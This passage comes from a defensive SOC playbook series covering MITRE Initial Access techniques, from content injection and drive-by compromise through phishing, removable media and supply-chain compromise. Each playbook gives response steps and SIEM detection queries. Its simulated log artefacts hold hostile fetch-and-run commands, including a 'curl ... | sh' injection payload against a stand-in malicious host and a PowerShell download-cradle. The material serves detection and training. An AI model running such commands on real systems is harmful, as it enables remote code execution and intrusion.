2. Is the injected code obfuscated or external-loading?
3. Does the content redirect, download or execute scripts?
4. Is the site trusted or allowlisted internally?

Decision point

- Benign update or false positive → document and monitor
- Malicious injection → continue investigation immediately

Step 2 Identify injection scope

Area	Evidence	Attacker value
Website	Modified scripts	Trust inheritance
Ads/widgets	Third-party code	Mass delivery
User content	Embedded links	Social proof
Update channels	Tampered files	Automatic execution

Step 3 Map injection behaviour to operational intent

3A) Drive-by Malware Delivery

Indicators

- Auto-downloads
- Script-triggered payloads

Attacker intent

- Silent endpoint compromise

3B) Credential Harvesting

Indicators

- Redirects to fake login pages
- Form submissions to attacker domains

Attacker intent

- Steal credentials without phishing

3C) Browser Exploitation

Indicators

- Exploit kit activity
- Browser crash or unusual child processes

Attacker intent

- Achieve execution without user interaction

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - New processes spawned by browsers
2. Credential Abuse
 - Login anomalies post-visit
3. C2 Communication
 - Beacons to injected domains

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If injection detected early

1. Block injected URLs, domains, scripts
2. Disable affected website access temporarily
3. Notify site owners or vendors
4. Update WAF rules

If users exposed

1. Block all injection-related infrastructure
2. Isolate affected endpoints
3. Reset potentially exposed credentials
4. Preserve artefacts for forensic analysis

Eradication and recovery

- Remove injected code and restore clean versions
- Patch CMS, plugins and dependencies
- Rotate credentials and API keys
- Validate no persistence remains
- Conduct web security review

Detection engineering (SIEM ideas)

A) Referrer-based anomaly detection

```
index=proxy  
| where referrer_domain IN ("trusted-news.my")  
| where dest_domain NOT IN allowlist
```

B) Browser-to-shell execution

```
index=edr  
| where parent_process="chrome.exe"  
| where child_process IN ("powershell.exe","cmd.exe")
```

C) Script integrity monitoring

```
index=web  
| where file_change=true AND file_path LIKE "%.js"
```

Analyst checklist

- Injection confirmed and source identified
- User exposure assessed
- Blocking and containment completed
- Endpoint impact reviewed
- Website remediation verified

Post-incident improvements

- Implement script integrity monitoring (SRI)
- Harden CMS and plugin update controls
- Monitor referrer-to-destination anomalies
- Reduce trust in third-party scripts
- Include content injection scenarios in tabletop exercises

Playbook 21 (MITRE Initial Access): Drive-by Compromise

Technique: Drive-by Compromise

Purpose

Detect, investigate and respond to automatic exploitation triggered by web browsing, enabling attackers to:

- Compromise endpoints without phishing emails
- Exploit unpatched browsers or components
- Deliver loaders and malware silently
- Bypass user awareness and decision points

This technique commonly follows Stage Capabilities and may overlap with Content Injection and Malvertising.

When to trigger this playbook

Trigger this playbook when indicators suggest web-based exploitation without user interaction, including:

- Malware execution immediately after website access
- Browser-spawned processes (PowerShell, cmd, mshta, rundll32)
- IDS/WAF alerts for exploit kit signatures
- Proxy logs showing exploit landing pages
- EDR alerts for memory corruption or exploit behaviour
- Infections where users report “only browsing the web”

Example use case scenario (end-to-end)

Context: SOC detects a workstation executing a PowerShell downloader seconds after visiting a news website. Analysis shows the site was serving a malvertising redirect to an exploit kit targeting an unpatched browser component.

Attacker objective: Exploit client-side vulnerabilities to gain initial code execution automatically.

Defender objective: Identify the exploit chain, contain affected endpoints and prevent further exposure.

What it looks like (simulated SOC artefacts)

A) Proxy / Web Logs – Exploit Landing

2026-03-06T01:11:02Z
user=employee21
referrer=https://news-site[.]my
url=https://cdn-adtrack[.]net/redirect
http_status=302
2026-03-06T01:11:04Z
url=https://exploit-gate[.]com/landing
user_agent=Chrome/118.0

B) IDS / NDR – Exploit Kit Detection

2026-03-06T01:11:07Z
signature=ExploitKit_Browser_RCE
cve=CVE-2025-ZZZZ
src_ip=exploit-gate[.]com
dst_ip=10.20.5.44

C) Endpoint Telemetry – Automatic Execution

2026-03-06T01:11:11Z
parent_process=chrome.exe
child_process=powershell.exe
command_line=IEX(New-Object Net.WebClient).DownloadString(...)

D) Malware Download

2026-03-06T01:11:14Z
file=stage2_loader.bin
destination=C:\Users\employee21\AppData\Temp\
hash=7c91af...

Severity decision (SOC)

Low

- Exploit attempt blocked
- No execution observed

Medium

- Exploit detected with partial execution
- Malware download blocked or quarantined

High

- Successful exploitation and code execution
- Malware installed or C2 communication observed

Example severity: High

(Browser exploit → PowerShell execution → loader downloaded)

Step-by-step SOC workflow

Step 1 Validate drive-by exploitation

Confirm:

1. Was access triggered solely by visiting a website?
2. Did execution occur without user interaction?
3. Is there evidence of exploit behaviour (heap spray, shellcode, memory abuse)?
4. Is the exploit aligned with known CVEs or exploit kits?

Decision point

- Benign script or user-initiated download → handle separately
- Automatic exploitation → continue investigation immediately

Step 2 Identify drive-by attack scope

Area	Evidence	Attacker value
Website	Redirect chains	Initial delivery
Browser	Spawned processes	Code execution
Exploit kit	IDS signatures	Reliability
Payload	Loader/malware	Foothold

Step 3 Map behaviour to operational intent

3A) Browser / Plugin Exploitation

Indicators

- Exploit kit signatures
- Crashes or memory alerts

Attacker intent

- Immediate code execution

3B) Automatic Malware Delivery

Indicators

- Downloads without prompts
- Script-based loaders

Attacker intent

- Establish foothold silently

3C) Post-Exploitation Staging

Indicators

- Second-stage payload retrieval
- Scheduled tasks or registry changes

Attacker intent

- Persistence and C2 setup

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Autoruns, scheduled tasks
2. Credential Access
 - Browser credential stores
3. Command-and-Control
 - TLS or DNS beaconing

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If exploit blocked early

1. Block exploit domains and IPs
2. Patch vulnerable browser/components
3. Increase monitoring for similar traffic

If compromise successful

1. Isolate affected endpoints immediately
2. Kill malicious processes
3. Block all related infrastructure
4. Reset potentially exposed credentials

Eradication and recovery

- Remove malware and persistence
- Reimage endpoint if exploit impact is uncertain
- Patch browser, OS and plugins
- Validate no lateral movement occurred
- Update detections and exploit coverage

Detection engineering (SIEM ideas)

A) Browser-spawned shell detection

```
index=edr  
| where parent_process IN ("chrome.exe","msedge.exe","firefox.exe")  
| where child_process IN ("powershell.exe","cmd.exe","mshta.exe","rundll32.exe")
```

B) Redirect-to-exploit detection

```
index=proxy  
| where redirect_count > 2  
| where dest_domain NOT IN allowlist
```

C) Exploit CVE correlation

```
index=ids  
| where cve IS NOT NULL  
| stats count by cve, dst_ip
```

Analyst checklist

- Drive-by exploitation confirmed
- Exploit vector identified
- Affected endpoints isolated
- Payloads and persistence removed
- Patching and blocking completed

Post-incident improvements

- Enforce aggressive browser and plugin patch SLAs

- Reduce attack surface (disable unused plugins/features)
- Monitor browser-spawned execution as high-risk
- Integrate exploit-kit intelligence into SOC detections
- Include drive-by compromise in web security tabletop exercises

Playbook 22 (MITRE Initial Access): Exploit Public-Facing Application

Technique: Exploit Public-Facing Application

Purpose

Detect, investigate and respond to active exploitation of Internet-facing services, enabling attackers to:

- Achieve unauthenticated or low-privilege access
- Execute code or commands remotely
- Bypass authentication and access controls
- Deploy web shells, backdoors or loaders
- Pivot rapidly into internal networks

This technique commonly follows Stage Capabilities and precedes Execution, Persistence and Lateral Movement.

When to trigger this playbook

Trigger this playbook when indicators suggest external exploitation attempts or success, including:

- IDS/WAF alerts for RCE, SQLi, deserialization, path traversal
- Abnormal requests to admin, debug or API endpoints
- Exploit attempts aligned with recent CVEs
- Web shells or unexpected files on web servers
- Application errors followed by command execution
- Sudden outbound connections from application servers

Example use case scenario (end-to-end)

Context: SOC detects repeated requests exploiting a known RCE vulnerability on a public web application. Minutes later, the server initiates outbound HTTPS connections to an unknown domain and a web shell is discovered in the web root.

Attacker objective: Exploit an exposed application to gain remote code execution and establish an initial foothold.

Defender objective: Confirm exploitation, contain the compromised service and prevent further access.

What it looks like (simulated SOC artefacts)

A) WAF / IDS – Exploit Attempt

2026-03-08T01:11:02Z
src_ip=185.77.88.99
dst_app=public-portal.example.my
signature=WebApp_RCE
cve=CVE-2025-AAAA
action=alert
2026-03-08T01:11:05Z
uri=/api/v1/upload
payload="";curl http://mal-node[.]net/s.sh | sh"

B) Application Logs – Unexpected Execution

2026-03-08T01:11:11Z
app=public-portal
error=UnhandledException
stacktrace=Runtime.exec()

C) Web Server File Changes

2026-03-08T01:11:18Z
file=/var/www/html/.cache/shell.php
owner=www-data
created_by=web_process

D) Network Telemetry – Outbound Beacon

2026-03-08T01:11:26Z
src_host=public-portal
dst_domain=cdn-sync-updates[.]net
dst_port=443
pattern=periodic

Severity decision (SOC)

Low

- Exploit attempts detected and blocked
- No evidence of execution or file changes

Medium

- Partial exploitation with errors

- No confirmed persistence or outbound traffic

High

- Successful exploitation with code execution
- Web shell or outbound C2 observed

Example severity: High

(RCE exploit → web shell → outbound beaconing)

Step-by-step SOC workflow

Step 1 Validate exploitation success

Confirm:

1. Is the application Internet-exposed?
2. Do logs show code execution or command injection?
3. Are files created or modified by the web process?
4. Is there outbound traffic from the application server?

Decision point

- Attempt only → strengthen controls and monitor
- Successful exploitation → continue investigation immediately

Step 2 Identify exploited application scope

Component	Evidence	Attacker value
Web app / API	RCE, SQLi, auth bypass	Initial foothold
VPN / portal	CVE exploitation	Network access
Admin interface	Default creds / bugs	Privileged control
Cloud app	Misconfig / vuln	Data access

Step 3 Map exploitation behaviour to operational intent

3A) Remote Code Execution (RCE)

Indicators

- Command execution strings
- Runtime or deserialization errors

Attacker intent

- Immediate system-level control

3B) Authentication / Access Control Bypass

Indicators

- Access to protected endpoints
- Session creation without login

Attacker intent

- Bypass identity checks

3C) Web Shell Deployment

Indicators

- New PHP/JSP/ASPX files
- Obfuscated or hidden filenames

Attacker intent

- Persistent remote access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Web shells, cron jobs, startup scripts
2. Credential Access
 - Config files, environment secrets
3. Lateral Movement
 - SMB, SSH, database access
4. C2
 - TLS or DNS beaconing

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If exploit attempt only

1. Block attacker IPs and payload patterns
2. Patch or disable vulnerable endpoints
3. Harden WAF rules

If exploitation successful

1. Isolate the affected server immediately
2. Disable the vulnerable service
3. Block all related attacker infrastructure
4. Rotate exposed credentials and secrets

Eradication and recovery

- Remove web shells and malicious files
- Patch the exploited vulnerability
- Rebuild or reimage the server if integrity is uncertain
- Restore from clean backups
- Validate no persistence or lateral movement remains

Detection engineering (SIEM ideas)

A) RCE payload detection

index=waf OR index=ids
| where payload LIKE "%curl%" OR payload LIKE "%wget%"

B) Web shell creation detection

index=filesystem
| where file_path LIKE "%.php" OR file_path LIKE "%.jsp"
| where created_by="web_process"

C) App server outbound anomaly

index=network
| where src_role="web_server"
| where dest_domain NOT IN allowlist

Analyst checklist

- Exploitation validated
- Vulnerable app identified and isolated
- Web shells and persistence removed
- Credentials rotated

- Patch and hardening verified

Post-incident improvements

- Enforce aggressive patch SLAs for public-facing services
- Reduce exposed attack surface (remove unused endpoints)
- Implement file integrity monitoring on web roots
- Strengthen WAF virtual patching
- Regularly test Internet-facing apps (DAST / pentest)

Playbook 23 (MITRE Initial Access): External Remote Services

Technique: External Remote Services

Purpose

Detect, investigate and respond to unauthorised or malicious use of external remote access services, enabling attackers to:

- Bypass perimeter defences using valid credentials
- Gain immediate internal network access
- Blend into legitimate remote work traffic
- Rapidly pivot to lateral movement and persistence

This technique often follows Resource Development (Acquire/Compromise Accounts) and precedes Lateral Movement, Privilege Escalation and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest abuse of remote access services, including:

- Successful remote logins from unusual geographies or ASNs
- Authentication without MFA on external services
- Password spraying or credential-stuffing attempts
- Remote access outside business hours or user norms
- Threat intel reporting your organisation's VPN/RDP access for sale
- Sudden spikes in VPN, RDP or SSH authentication activity

Example use case scenario (end-to-end)

Context: SOC detects a successful VPN login for a contractor account from an unfamiliar country. No phishing or malware precedes the login. Minutes later, the user accesses file shares and internal applications not normally used.

Attacker objective: Use valid external remote access to obtain an immediate foothold with minimal detection.

Defender objective: Confirm legitimacy, contain unauthorised access and prevent lateral movement.

What it looks like (simulated SOC artefacts)

A) VPN Authentication Logs

2026-03-10T01:11:02Z
service=SSL_VPN
user=contractor05
auth_method=password
mfa=not_enforced
src_ip=185.220.101.55
geo=NL
result=success

B) RDP / VDI Logs

2026-03-10T01:13:21Z
service=RDP
user=admin-support
src_ip=45.67.89.10
logon_type=remote_interactive
result=success

C) Identity Risk Signals

2026-03-10T01:13:25Z
user=contractor05
risk_level=high
anomaly="New ASN + New Country"

D) Post-Login Activity

2026-03-10T01:15:02Z
user=contractor05
activity=SMB_Access
resource=\\fileserver\Finance
2026-03-10T01:16:18Z
activity=AdminPortalAccess

Severity decision (SOC)

Low

- Failed authentication attempts only
- User confirms legitimate travel or access

Medium

- Successful login with limited activity

- No sensitive systems accessed

High

- Successful login from suspicious source
- Access to finance, admin or infrastructure systems
- Threat intel corroboration or access broker indicators

Example severity: High

(Valid VPN login from new country + sensitive file access)

Step-by-step SOC workflow

Step 1 Validate remote access legitimacy

Confirm immediately:

1. Does the user recognise the login?
2. Is the access expected for the role?
3. Is MFA enforced or bypassed?
4. Is the source IP:
 - Residential?
 - VPN / Tor?
 - Hosting provider?

Decision point

- Legitimate and verified → document and monitor
- Unverified or suspicious → continue investigation immediately

Step 2 Identify remote service exposure

Service	Evidence	Attacker value
VPN	Clean login	Network access
RDP / VDI	Remote desktop	Interactive control
SSH	Shell access	Server compromise
Cloud portals	Admin login	Broad control

Step 3 Map abuse patterns to attacker intent

3A) Credential-Based Access

Indicators

- Password-only authentication
- No exploit or malware trail

Attacker intent

- Blend with legitimate users

3B) Access Broker / Purchased Access

Indicators

- TI reporting access sales
- New user/IP combinations

Attacker intent

- Immediate operational access

3C) Misconfigured Remote Services

Indicators

- MFA disabled
- Legacy authentication allowed

Attacker intent

- Low-resistance entry point

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Lateral Movement
 - SMB, RDP, SSH inside network
2. Privilege Escalation
 - Role changes, admin portal access
3. Persistence
 - New accounts, MFA changes, scheduled tasks

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If suspicious access detected early

1. Disable the affected account immediately
2. Force password reset and MFA enrolment
3. Revoke active sessions
4. Block source IP / ASN

If access used maliciously

1. Disable all related accounts
2. Isolate affected endpoints
3. Freeze sensitive workflows (finance/admin)
4. Activate full IR playbook

Eradication and recovery

- Rotate all exposed credentials
- Audit IAM roles and group memberships
- Review remote access configurations
- Validate no persistence remains
- Issue assurance statement to stakeholders

Detection engineering (SIEM ideas)

A) New country VPN login

```
index=vpn  
| where login_result="success"  
| where geo_change=true
```

B) Remote access outside normal hours

```
index=vpn OR index=rdp  
| where hour < 6 OR hour > 20
```

C) Password-only remote authentication

```
index=auth  
| where service IN ("VPN","RDP")  
| where mfa="disabled"
```

Analyst checklist

- Access legitimacy confirmed

- MFA status reviewed
- Scope of access identified
- Lateral movement ruled out
- Credentials rotated and sessions revoked

Post-incident improvements

- Enforce phishing-resistant MFA on all external remote services
- Restrict remote access by geo and ASN
- Disable legacy authentication
- Monitor access broker indicators
- Regularly test remote access controls

Playbook 24 (MITRE Initial Access): Hardware Additions

Technique: Hardware Additions

Purpose

Detect, investigate and respond to unauthorised hardware introduced into the environment, enabling attackers to:

- Execute payloads without network delivery
- Capture credentials directly (keystrokes, traffic)
- Establish hidden persistence
- Bypass endpoint and perimeter controls
- Gain footholds without phishing or exploitation

This technique is a direct Initial Access vector and frequently precedes Execution, Credential Access and Lateral Movement.

When to trigger this playbook

Trigger this playbook when indicators suggest unexpected or unauthorised hardware activity, including:

- New USB or HID devices detected on endpoints
- Endpoints executing commands after device insertion
- Unknown MAC addresses appearing on the network
- Rogue wireless networks mimicking corporate SSIDs
- Network traffic from devices not in asset inventory
- Physical security alerts correlated with system activity

Example use case scenario (end-to-end)

Context: SOC detects a workstation executing PowerShell commands seconds after a USB device is inserted. Simultaneously, NAC logs show a new network device connecting from the same floor where a visitor badge was issued.

Attacker objective: Introduce hardware to trigger execution and capture credentials without relying on email or web delivery.

Defender objective: Identify the hardware source, contain affected systems and prevent further spread.

What it looks like (simulated SOC artefacts)

A) Endpoint USB / HID Detection

2026-03-12T01:11:02Z

host=WS-FIN-023

event=USB_Device_Connected

device_type=HID_Keyboard

vendor=Unknown

2026-03-12T01:11:06Z

parent_process=explorer.exe

child_process=powershell.exe

command_line=Invoke-WebRequest -Uri http://10.10.10.5/p.ps1

B) Endpoint File Creation

2026-03-12T01:11:12Z

file=C:\Users\Public\stage1.ps1

created_by=powershell.exe

C) Network Access Control (NAC)

2026-03-12T01:11:18Z

event=New_Device_Connected

mac=AC:DE:48:00:11:22

switch_port=SW-3-17

vlan=corp

D) Wireless Monitoring

2026-03-12T01:11:25Z

ssid=Corp-WiFi-Free

signal_strength=high

location=Level_3

status=unauthorised

Severity decision (SOC)

Low

- Device detected but blocked automatically
- No execution or network access

Medium

- Hardware connected with limited activity

- No confirmed payload execution or credential access

High

- Hardware triggers execution or network access
- Credential capture, beaconing or lateral movement observed

Example severity: High

(Rogue USB HID triggers PowerShell execution + unauthorised network device)

Step-by-step SOC workflow

Step 1 Validate hardware legitimacy

Confirm:

1. Is the device approved and inventoried?
2. Is the device type expected for the user/role?
3. Did activity occur immediately after insertion/connection?
4. Is there correlation with physical access events?

Decision point

- Legitimate device → document and monitor
- Unauthorised or suspicious → continue investigation immediately

Step 2 Identify hardware addition scope

Hardware type	Evidence	Attacker value
USB storage	File transfer	Payload delivery
HID / BadUSB	Keystroke injection	Command execution
Network device	New MAC	Internal access
Rogue AP	Fake SSID	Credential capture
Inline tap	Traffic capture	Credential theft

Step 3 Map hardware behaviour to attacker intent

3A) USB / HID-Based Execution

Indicators

- Keyboard-like devices
- Immediate command execution

Attacker intent

- Execute payloads without user consent

3B) Credential Capture

Indicators

- Keylogging processes
- Fake Wi-Fi authentication portals

Attacker intent

- Harvest credentials directly

3C) Network Foothold

Indicators

- New MACs on internal VLANs
- Traffic from unmanaged devices

Attacker intent

- Internal reconnaissance and lateral movement

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution & Persistence
 - Scheduled tasks, autoruns
2. Credential Access
 - LSASS access, keyloggers
3. Lateral Movement
 - SMB, RDP, SSH attempts
4. C2
 - Beacons from affected hosts

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If hardware blocked early

1. Disable USB/network port
2. Quarantine the device
3. Notify physical security

If compromise suspected

1. Isolate affected endpoints immediately
2. Disable involved user accounts
3. Block rogue MAC addresses
4. Preserve hardware for forensic analysis

Eradication and recovery

- Remove malicious files and persistence
- Reimage affected endpoints if integrity is uncertain
- Rotate potentially exposed credentials
- Update asset inventory
- Review physical access controls

Detection engineering (SIEM ideas)

A) USB insertion followed by execution

```
index=edr  
| where event="USB_Device_Connected"  
| transaction host maxspan=2m  
| where child_process="powershell.exe"
```

B) New MAC on corporate VLAN

```
index=nac  
| where event="New_Device_Connected"  
| where device NOT IN asset_inventory
```

C) Rogue SSID detection

```
index=wireless  
| where ssid LIKE "%Corp%"  
| where authorised=false
```

Analyst checklist

- Hardware legitimacy verified
- Physical and logical scope identified
- Endpoint and network isolation completed
- Credential exposure assessed
- Evidence preserved

Post-incident improvements

- Enforce USB device control and HID restrictions
- Implement NAC for all wired and wireless access
- Monitor for rogue SSIDs continuously
- Integrate physical access logs with SOC
- Conduct insider and hardware-based attack simulations

Playbook 25 (MITRE Initial Access): Phishing

Technique: Phishing

Sub-techniques:

- Spearphishing Attachment
- Spearphishing Link
- Spearphishing via Service
- Spearphishing Voice

Purpose

Detect, investigate and respond to targeted phishing attacks designed to obtain initial access through deception, enabling attackers to:

- Deliver malware or loaders
- Harvest credentials or MFA tokens
- Hijack trusted conversations
- Trigger financial fraud or account takeover
- Bypass technical controls by exploiting human trust

Phishing remains the most common Initial Access vector, often chaining directly into Credential Access, Execution and Persistence.

When to trigger this playbook

Trigger this playbook when indicators suggest targeted, non-generic phishing activity, including:

- Emails or messages tailored to specific users, roles or projects
- Attachments or links referencing internal context
- Login attempts following message interaction
- OAuth consent prompts or credential submissions
- Voice calls impersonating executives, IT or vendors
- Threat intel reporting active phishing campaigns against your organisation

Example use case scenario (end-to-end)

Context: SOC detects a targeted email sent to finance staff with a realistic invoice attachment. Within minutes, one recipient opens the file, executes a macro and a credential-stealing loader runs. Separately, another user receives a voice call impersonating the CFO requesting urgent payment approval.

Attacker objective: Exploit trust and urgency to achieve initial access and fraud with minimal technical resistance.

Defender objective: Detect phishing early, contain impact and prevent account compromise or financial loss.

What it looks like (simulated SOC artefacts)

A) Spearphishing Attachment

2026-03-14T01:11:02Z
sender=accounts@trustedvendor[.]com
recipient=finance02@example.my
subject="Updated Invoice – March"
attachment=Invoice_March_2026.xlsm
2026-03-14T01:11:08Z
macro_execution=true
child_process=powershell.exe

B) Spearphishing Link

2026-03-14T01:12:21Z
sender=it-support@example-helpdesk[.]com
subject="Mailbox Storage Limit Exceeded"
url=hxxps://login-example[.]secure-auth[.]com
2026-03-14T01:12:26Z
user_action=credential_submission

C) Spearphishing via Service

2026-03-14T01:13:44Z
platform=Microsoft_Teams
sender_external=true
display_name="HR Manager"
message="Please review updated policy document"
link=hxxps://fileshare-secure[.]net/doc

D) Spearphishing Voice

2026-03-14T01:15:12Z
call_type=voice
caller_id=spoofed_CFO
target=finance_manager
request="Urgent payment approval"

voice_characteristics=deepfake_suspected

Severity decision (SOC)

Low

- Phishing attempt detected and blocked
- No user interaction

Medium

- User interaction without execution or credential use
- Credentials entered but reset quickly

High

- Malware execution or credential abuse
- MFA fatigue or bypass
- Financial or sensitive system targeting

Example severity: High

(Macro execution + credential submission + voice fraud attempt)

Step-by-step SOC workflow

Step 1 Validate phishing characteristics

Confirm:

1. Is the message targeted and contextual?
2. Is the sender spoofed, compromised or newly created?
3. Does the content create urgency, authority or fear?
4. Did the user open, click, execute or respond?

Decision point

- Generic spam → standard handling
- Targeted phishing → continue investigation immediately

Step 2 Identify phishing vector scope

Sub-technique	Evidence	Attacker value
Attachment	Macros, scripts	Malware execution
Link	Fake login	Credential theft

Service	Teams/SharePoint abuse	Trust inheritance
Voice	Spoofed calls	Fraud, MFA bypass

Step 3 Map behaviour to sub-techniques

3A) Spearphishing Attachment

Indicators

- Macro-enabled documents
- Child process execution

Attacker intent

- Malware delivery
- Initial foothold

3B) Spearphishing Link

Indicators

- Lookalike domains
- Credential submission events

Attacker intent

- Account takeover
- MFA abuse

3C) Spearphishing via Service

Indicators

- External users on collaboration tools
- File or OAuth links

Attacker intent

- Bypass email controls
- OAuth persistence

3D) Spearphishing Voice

Indicators

- Urgent financial or IT requests
- Caller ID spoofing or deepfake traits

Attacker intent

- Fraud
- Human-driven access approval

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Login anomalies
 - MFA prompts or fatigue
2. Execution
 - Script or binary launches
3. Persistence
 - Inbox rules, OAuth apps
4. Impact
 - Fraud attempts or data access

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If phishing detected early

1. Quarantine messages across mailboxes
2. Block sender domains and URLs
3. Notify targeted users

If user interaction occurred

1. Isolate affected endpoints
2. Reset credentials and revoke sessions
3. Remove inbox rules or OAuth grants
4. Freeze financial workflows if targeted

Eradication and recovery

- Remove malware and persistence

- Reimage systems if needed
- Rotate exposed credentials and keys
- Validate no lateral movement
- Issue assurance statement

Detection engineering (SIEM ideas)

A) Attachment → execution correlation

```
index=email OR index=edr
| transaction user maxspan=5m
| where attachment_type IN ("xlsm","docm")
| where child_process="powershell.exe"
```

B) Phish link → login anomaly

```
index=email OR index=auth
| transaction user maxspan=10m
| where login_result="success" AND geo_change=true
```

C) Collaboration-tool phishing

```
index=collaboration
| where sender_external=true
| where link_count > 0
```

Analyst checklist

- Phishing vector identified
- User interaction confirmed
- Credentials and sessions secured
- Malware or persistence removed
- Stakeholders notified

Post-incident improvements

- Enforce phishing-resistant MFA
- Restrict macros and scripting
- Monitor collaboration platforms as phishing channels
- Implement voice-fraud verification procedures
- Run targeted phishing simulations for high-risk roles

Playbook 26 (MITRE Initial Access): Replication Through Removable Media

Technique: Replication Through Removable Media

Purpose

Detect, investigate and respond to malware and access attempts propagated via removable media, enabling attackers to:

- Introduce malware without Internet delivery
- Bypass perimeter and email security controls
- Propagate laterally across endpoints
- Establish persistence in sensitive environments
- Seed future command-and-control once connectivity exists

This technique often precedes Execution, Persistence and Credential Access and overlaps with Hardware Additions.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious activity tied to removable media, including:

- Malware execution shortly after USB insertion
- Creation of suspicious files on removable drives
- Autorun-like behaviour despite policy restrictions
- Multiple endpoints infected via the same removable device
- EDR alerts referencing USB-borne malware
- Unexpected scheduled tasks or services after media usage

Example use case scenario (end-to-end)

Context: SOC detects malware execution on a workstation used for offline report preparation. The user reports inserting a USB drive received from a third-party contractor. EDR reveals the same payload appearing on two additional endpoints previously connected to the same USB device.

Attacker objective: Use removable media to introduce and propagate malware into environments unreachable via network attacks.

Defender objective: Identify the propagation vector, contain infected hosts and prevent further spread.

What it looks like (simulated SOC artefacts)

A) Endpoint – USB Insertion Event

2026-03-16T01:11:02Z
host=WS-OPS-014
event=USB_Device_Connected
device_id=USB\VID_0781&PID_5567
device_type=Mass_Storage

B) File Creation on Removable Media

2026-03-16T01:11:07Z
drive=E:\
file=report_2026.pdf.exe
file_attributes=hidden

C) Malware Execution After Media Access

2026-03-16T01:11:12Z
parent_process=explorer.exe
child_process=report_2026.pdf.exe
execution_source=removable_media

D) Replication Behaviour

2026-03-16T01:14:55Z
action=File_Copy
source=C:\ProgramData\stage.bin
destination=E:\system_update.exe

E) Persistence Creation

2026-03-16T01:15:10Z
event=Registry_Modified
key=HKCU\Software\Microsoft\Windows\CurrentVersion\Run
value=SystemUpdate

Severity decision (SOC)

Low

- Removable media detected but blocked
- No execution or file creation

Medium

- Malware execution on a single endpoint
- No evidence of replication

High

- Malware replicated across multiple systems
- Persistence established
- Potential air-gapped environment compromise

Example severity: High

(USB-borne malware executed and propagated to multiple hosts)

Step-by-step SOC workflow

Step 1 Validate removable media involvement

Confirm:

1. Was removable media inserted shortly before execution?
2. Did the executable originate from the removable drive?
3. Are multiple hosts showing the same artefacts?
4. Is autorun or user deception involved (double extensions)?

Decision point

- User-initiated legitimate files → educate and monitor
- Malicious replication → continue investigation immediately

Step 2 Identify replication scope

Area	Evidence	Attacker value
USB device	Unique device ID	Multi-host propagation
Endpoints	Matching hashes	Rapid spread
Files	Hidden / masquerading	User deception
Registry / tasks	Autoruns	Persistence

Step 3 Map behaviour to operational intent

3A) Malware Seeding

Indicators

- Executables disguised as documents
- Files copied to removable drives

Attacker intent

- Spread malware without network access

3B) Automatic Execution / User Deception

Indicators

- Double file extensions
- Icon masquerading

Attacker intent

- Trick users into executing payloads

3C) Lateral Propagation

Indicators

- Same payload on multiple hosts
- Repeated file copy to media

Attacker intent

- Infect multiple systems rapidly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Persistence
 - Registry run keys
 - Scheduled tasks
2. Credential Access
 - LSASS access attempts
3. C2 Preparation
 - Beacons when network becomes available

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If detected early

1. Block USB execution policies
2. Quarantine the removable device
3. Notify affected users and teams

If replication confirmed

1. Isolate all affected endpoints
2. Disable USB access temporarily
3. Block execution of matching hashes
4. Preserve removable media for forensic analysis

Eradication and recovery

- Remove malware and persistence from all hosts
- Reimage systems if integrity is uncertain
- Rotate exposed credentials
- Update endpoint and USB control policies
- Verify no dormant infections remain

Detection engineering (SIEM ideas)

A) Execution from removable media

```
index=edr  
| where execution_source="removable_media"  
| stats count by host, file_hash
```

B) Same hash across multiple hosts

```
index=edr  
| stats dc(host) by file_hash  
| where dc(host) > 1
```

C) USB insertion followed by execution

```
index=edr  
| transaction host maxspan=5m  
| where event="USB_Device_Connected"  
| where child_process IS NOT NULL
```

Analyst checklist

- Removable media confirmed as source
- Scope of affected endpoints identified

- Propagation vector contained
- Persistence removed
- Forensic evidence preserved

Post-incident improvements

- Enforce strict removable media controls
- Disable autorun and execution from external drives
- Use malware scanning kiosks for USB devices
- Educate staff on removable media risks
- Include USB-borne attacks in IR tabletop exercises

Playbook 27 (MITRE Initial Access): Supply Chain Compromise

Technique: Supply Chain Compromise

Sub-technique:

- Compromise Software Dependencies and Development Tools
- Compromise Software Supply Chain
- Compromise Hardware Supply Chain

Purpose

Detect, investigate and respond to adversaries gaining initial access by compromising trusted suppliers, components or update mechanisms, enabling:

- Stealthy, wide-scale access across many victims
- Inherited trust through signed code, updates or vendors
- Long dwell time before detection
- Access paths that bypass perimeter and user-centric controls

Supply-chain compromise is high impact, low noise and often results in systemic risk rather than isolated incidents.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious activity originating from trusted third-party components, including:

- Malware or suspicious behaviour from recently updated software
- Signed binaries behaving maliciously
- Unexpected outbound traffic from development tools or agents
- CI/CD pipelines executing unapproved code
- Vendor advisories reporting compromise
- Hardware devices behaving anomalously immediately after deployment

Example use case scenario (end-to-end)

Context: SOC observes outbound C2 traffic from multiple servers shortly after a routine software update from a trusted vendor. EDR shows the binary is validly signed, but runtime behaviour includes credential access and beaconing.

Attacker objective: Compromise upstream suppliers to scale initial access while remaining trusted and undetected.

Defender objective: Rapidly identify the supply-chain vector, contain blast radius and coordinate remediation with vendors.

What it looks like (simulated SOC artefacts)

A) Compromise Software Dependencies & Dev Tools

2026-03-18T01:11:02Z
host=dev-build-01
tool=npm
package=auth-helper
version=2.3.1
dependency_added=postinstall.js
2026-03-18T01:11:06Z
ci_event=Build_Completed
unexpected_network_call=true

B) Compromise Software Supply Chain

2026-03-18T01:12:21Z
application=RemoteMgmtAgent
update_version=5.8.4
signature=valid
issuer=TrustedVendor CA
2026-03-18T01:12:26Z
runtime_behavior=credential_access + outbound_https
dst_domain=sync-cloud-updates[.]net

C) Compromise Hardware Supply Chain

2026-03-18T01:13:44Z
device=Network_Appliance_X
firmware_version=1.2.9
deployment_status=new
